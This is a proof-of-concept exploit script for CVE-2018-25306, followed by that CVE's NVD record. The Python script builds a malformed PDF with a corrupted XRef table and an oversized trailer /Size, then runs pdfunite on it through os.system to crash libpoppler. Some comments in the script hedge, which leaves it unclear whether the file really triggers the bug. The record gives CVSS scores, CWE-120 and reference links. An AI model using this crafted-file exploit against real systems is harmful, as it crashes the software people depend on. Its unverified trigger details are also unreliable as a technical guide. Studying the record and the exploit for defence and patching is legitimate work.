CVE-2018-25306

import os # Proof of Concept (PoC) for CVE-2018-25306 # This script generates a malformed PDF file designed to trigger # a buffer overflow in the XRef::getEntry function of libpoppler, # causing pdfunite to crash. def generate_malformed_pdf(filename): # PDF Header pdf_header = b"%PDF-1.4\n" # Malformed XRef table # We define an object count that leads to invalid memory access # when XRef::getEntry tries to access it. xref_section = b"xref\n0 10\n" xref_section += b"0000000000 65535 f \n" # Add some dummy entries to confuse the parser for i in range(1, 10): xref_section += b"0000000000 00000 n \n" # Trailer referencing a root object that might not exist or be malformed trailer = b"trailer\n<< /Size 999999999 /Root 1 0 R >>\n" # StartXRef and EOF startxref = b"startxref\n0\n%%EOF" with open(filename, "wb") as f: f.write(pdf_header + xref_section + trailer + startxref) if __name__ == "__main__": output_file = "cve_2018_25306_poc.pdf" generate_malformed_pdf(output_file) print(f"[+] Malformed PDF generated: {output_file}") print(f"[+] Attempting to trigger the crash using pdfunite...") # Simulate the attack by running pdfunite on the malformed file # Note: pdfunite must be installed on the system os.system(f"pdfunite {output_file} output_result.pdf")

{"cve": {"id": "CVE-2018-25306", "sourceIdentifier": "[email protected]", "published": "2026-04-29T20:16:26.043", "lastModified": "2026-05-05T14:22:22.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PDFunite 0.41.0 contains a buffer overflow vulnerability that allows local attackers to crash the application by processing malformed PDF files during merge operations. Attackers can trigger a segmentation fault in the XRef::getEntry function within libpoppler by providing a specially crafted PDF file to the pdfunite utility."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:pdfunite:0.41.0:*:*:*:*:*:*:*", "matchCriteriaId": "1B381E8B-1E19-409E-855D-9D831BF20EAC"}]}]}], "references": [{"url": "https://launchpad.net/ubuntu/+source/poppler/0.57.0-2ubuntu4.2", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://launchpad.net/ubuntu/artful/+package/poppler-utils", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/44490", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/pdfunite-buffer-overflow-via-malformed-pdf", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}